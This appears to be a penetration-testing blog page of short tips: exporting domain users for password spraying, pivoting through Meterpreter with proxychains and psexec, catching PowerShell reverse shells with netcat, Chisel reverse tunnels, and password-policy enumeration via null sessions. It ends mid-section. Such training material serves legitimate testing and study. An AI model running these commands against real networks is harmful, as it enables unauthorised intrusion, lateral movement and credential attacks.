Tips & Tricks

How to Export List of Domain Users in Active Directory Without AD Cmdlets

If you find yourself on a workstation that doesn’t have AD Cmdlets installed, you won’t be able to run things like “Get-ADUser. However, you can use the following commands in PowerShell to output a list of domain users and format it in a way that is helpful for password spraying attacks.

# store the results in an array.
$results = net group "Domain Users" /domain

# the size of the header and footer is always the same. select the data between these sections.
$results = $results[8..($results.Length-3)]

# replace the empty spaces with a comma. join on the comma, getting rid of blank lines.
foreach($result in $results) { 
    ($result -replace '\s+',',') -split ',' | ? { $_ } >> 'adusers.txt'

Tips & Tricks

Adding/Fixing Color Within Tmux on Ubuntu

I’ve found that anytime I spin up an Ubuntu system, whether in Digital Ocean, Google Cloud, or even through Windows Subsystem for Linux, color doesn’t seem to be working properly.

To fix this, there is a handy workaround that is very simple to implement.

First, let’s create a bash alias so that launching Tmux will actually launch with color settings configured. Start by editing the following file.

vi ~/.bash_aliases

Then add the following line.

alias tmux="TERM=xterm-256color tmux"

Now we will modify our Tmux configuration file as well.

vi ~/.tmux.conf

And add the following line.

set -g default-terminal "screen-256color"

Then we will restart Tmux.

tmux kill-server && tmux

Or you could just run these commands.

sudo echo "alias tmux=\"TERM=xterm-256color tmux\"" >> ~/.bash_aliases
sudo echo "set -g default-terminal \"screen-256color\"" >> ~/.tmux.conf
tmux kill-server && tmux

That’s it! Launch Tmux and you should now have color.

Tips & Tricks

Tcpdump Cheatsheet

This post contains various commands that may come in useful when utilizing tcpdump. This article will be expanded upon as time goes on.

Basic Usage

Run tcpdump to collect traffic:
sudo tcpdump -i <interface>

Run tcpdump with verbosity:
sudo tcpdump -i <interface> -v

Disable DNS Conversation:
sudo tcpdump -i <interface> -n

Quieter output:
sudo tcpdump -i <interface> -q

Specify the number of packets to capture:
sudo tcpdump -i <interface> -c 100

Applying Filters

Filter based on ICMP requests:
sudo tcpdump -i <interface> icmp

Filter based on IP or hostname:
sudo tcpdump -i <interface> host <hostname>

Filter based on specific source/destination address:
sudo tcpdump -i <interface> src and dst

Rather than filter based on source/destination, you can use Grep:
sudo tcpdump -i <interface> | grep <ipAddr>

Saving / Reading Output

To save output to a text file:
sudo tcpdump -i <interface> -w output_file.txt

To read output from a text file:
sudo tcpdump -i <interface> -r output_file.txt

Tips & Tricks

Pivoting to Attack Remote Networks Through Meterpreter Sessions and Proxychains

How to configure the tools

Once you have a Meterpreter session for a compromised machine, you can utilize Metasploit to start leveraging that machine as a proxy. This is very useful, as you will be able to run tools from your attacker system, outside the network, against systems that are local to the network you’ve compromised a single host on.

Configuring the route in Metasploit

To begin, we’re going to assume you already have an active Meterpreter session. We’ll start by backgrounding your Meterpreter session, and using the following module.
use post/multi/manage/autoroute

There will be an option where you can select the victim session.

And configure the victim’s subnet. Any traffic issued by Metasploit to an address within this subnet will be routed through the previously selected session.

You can run the following command to confirm your route has been successfully created.
route print

Configuring the Socks4 Proxy

Now that we have the route configured, we’ll switch to a different module.
use auxiliary/server/socks_proxy
set VERSION 4a

Once running, this module will forward any traffic issue to its SRVHOST and SRVPORT through the Metasploit routing table. Since we just added an entry in our routing table to send traffic through Meterpreter session 1, this should allow us the ability to utilize tools on our local attacking system. If the default port of 1080 works for you, leave the default and run the module.

Now, let’s head over to our attacker system and adjust our Proxychains configuration file.
sudo vi /etc/proxychains.conf

Adjust the last line of the file to route traffic through the Socks4 proxy listening at on port 1080 (this is the configuration of our socks4a module in Metasploit).
socks4 1080

Running tools through the proxy

Finally, we can now utilize tools on our local filesystem to interact with hosts on the remote network.
proxychains ssh root@<remoteHost>

To utilize Nmap, you’ll need additional flags. Your scan will also take longer than it would without the pivot.
sudo proxychains nmap -sT -Pn -n <targetIP> --top-ports 50

To open a web browser that routes through the proxy, you can use:
proxychains firefox

Alternatively, you could also configure your browser to route through the proxy in the advanced settings, or you could leverage a add-in, such as FoxyProxy.

Keep in mind that since we’re routing traffic through the Meterpreter session, this session needs to stay active in order for us to reach hosts on the remote subnet. Also note that some tools, such as the default Nmap scan, may not work as they would if you were scanning a target directly.

Exploitation via pivoting

Once a route has been set up in Metasploit, you can now communicate to any host that the compromised host can communicate to. Assuming you know valid user credentials (or a NTLM hash), we can leverage PSExec to gain a shell on the remote system.
use exploit/windows/smb/psexec

Before running the above mentioned module, make sure you’ve already configured a route in Metasploit that will forward traffic destined to the remote machine through your active Meterpreter session.

In the event that the remote machine you wish to target does not have access to the internet, you can add a 2nd route in Metasploit so that traffic destined to address of your existing compromised connection will route through the Metasploit routing table. This would allow you to configure the LHOST of your Meterpreter payload to the local IP address on the host of your existing Meterpreter session.

Cleaning Up

It’s always important to clean up once you’re finished. From within Metasploit, we can stop the Socks4 proxy by running the following command to kill all jobs.
jobs -K

Then you can flush the routing table entry you configured.
route flush

Tips & Tricks

Port Forwarding Through SSH Connections

There are multiple ways to configure SSH for port forwarding, and this post intends to serve as a handy cheatsheet that you can reference the next time you need this functionality.

When SSH is Already Established

If you already have an SSH connection up, you can insert SSH command mode by typing the following on a new line:

Then you can issue the following command to configure a local port forward.
-L <attackerPort>:<localPort>

For example, let’s say you’re connected to a machine via SSH and find that a webserver is running on port 52846, but only allows local connections. You can run the following command to forward port 9002 from your Kali machine through the SSH connection and access the webserver.
-L 9002:

Now going to http://localhost:9002 will redirect through the tunnel and display the webpage that is listening on the remote system on port 52846.

Tips & Tricks

Improving Windows PowerShell Reverse Shells For Up/Down Arrows

When you use Netcat to catch a PowerShell reverse shell, like Nishang, you’ll notice that you won’t have the ability to use up/down arrow keys. This could be a huge pain when you’re stuck in this type of shell. However, there is a tool that we can leverage that should improve your experience with these type of shells.

To begin, we’ll download and install the tool on our system.
sudo apt install rlwrap -y

Then we’ll set up a log file on our box that will give us the input/output logging.
script reverse.log

Now we can start our Netcat listener.
rlwrap nc -nvlp <listenPort>

Then we’ll issue our exploit to start our reverse shell. Now we should have arrow keys within our Netcat session!

Tips & Tricks

Using Ping TTLs Values to Fingerprint Operating Systems

Using Ping

You can start by pinging your target system.

ping <targetIP>

Take a look at the returned TTL value. As long as you’re able to ping the host directly without going through dozens of hops, the returned TTL should give you a hint as to what OS the system is running.

  • Windows by default will return a value near 32 or 128.
  • Linux by default will return a value near 63 or 64.

The TTL value will decrease by one for every hop that it takes. You can always run a tracert against the target to make note of the number of hops if you’re ever in doubt.

You can find more details of other operating system at

Tips & Tricks

Tunneling Through Windows Machines with Chisel

Chisel is an application that makes port forwarding simple when you’re going against a Windows host. This is especially useful in instances where there is a service running and only available on the loopback interface of a compromised Windows computer. Using Chisel in a setup like this will allow you to use any tools you have installed on Kali Linux, through the tunnel, against the loopback interface of the Windows machine.

To download Chisel, head over to the following Github page:

You’ll need to download a version for Linux to use from Kali, and another version for Windows to use on the target system.

Next, you’ll want to unzip the files.
gunzip -d *.gz

Then you’ll want to transfer the Windows version of the file to your target system using whatever method you’d like. For help with this, see my Windows File Transfer Cheatsheet.

Back on our Kali machine, we’ll make the application executable. Note: Your filename may be different than mine.
chmod +x chisel

Now we’ll start up Chisel in server mode, since we want the Windows box to connect back to us.
./chisel server --reverse --port 9002

Then on the Windows machine, you’ll run a command similar to the one below. The following command will instruct Chisel to connect back to the Kali machine on port 9002. Once connected, we’ll forward any traffic sent to port localhost port 3306 to port 3306 on the Windows machine. The 2nd entry does the same thing, but for port 8888.
.\chisel.exe client <kaliIP>:9002 R:3306:localhost:3306 R:8888:localhost:8888

Now we can confirm that we’re able to connect to port 3306 of the Windows machine, through the tunnel, from the Kali machine.
nc localhost 3306

Tips & Tricks

How to Route Public Python Exploit Code Through Burp Suite

When you come across public exploit code written in Python, it is sometimes easiest to just route the exploit through Burpsuite so you can understand what it’s doing — especially in cases where the code interacts with web applications.

To do this, we can simple add some code that instructs the script to use a proxy.

First, make sure that the Requests module is already being called by the script. Check for the following line of code:
import requests

As long as that is present, we can add a Proxy variable at the top of the exploit, but after the Requests module is imported. If the application uses HTTPS instead of HTTP, then you’d want to use https in the below line.
proxies = {'http': ''}

Next, we need to look through the code for any .get or .post requests and add the following to the end of it.
, proxies=proxies

For example, let’s say you have a line of code that looks like this:
s.get(SERVER_URL, verify=False)

You will want to modify it so that it looks like this:
s.get(SERVER_URL, verify=False, proxies=proxies)

Just make sure to do this throughout the entire exploit. The easiest way to find them all may be to search for “requests” and look for any time a .get or .post is added to that.

Now you can spin up Burp Intercept and run the exploit! This will allow you to interact with the exploit through Burp and gives you much more visibility into the requests being made.

Tips & Tricks

Extracting Password Policy From Domain Machines

Before you start a Password Spraying or Brute Force attack, you always want to check what the password policy is first so you don’t start locking accounts out. This post intends to serve as a guide that lists a handful of ways to enumerate this.

Using CrackMapExec:

crackmapexec smb <targetIP> --pass-pol

If that doesn’t work, you can attempt again with a null authentication attempt by using the following. This typically works when a domain has been upgraded from 2003:

crackmapexec smb <targetIP> --pass-pol -u '' -p ''

Using Enum4Linux:

enum4linux <targetIP>

Using RPCClient:

If the below works, then we may be able to utilize RPC commands to extract details about the user and password policies.

rpcclient -U '' <targetIP>

Using PowerShell: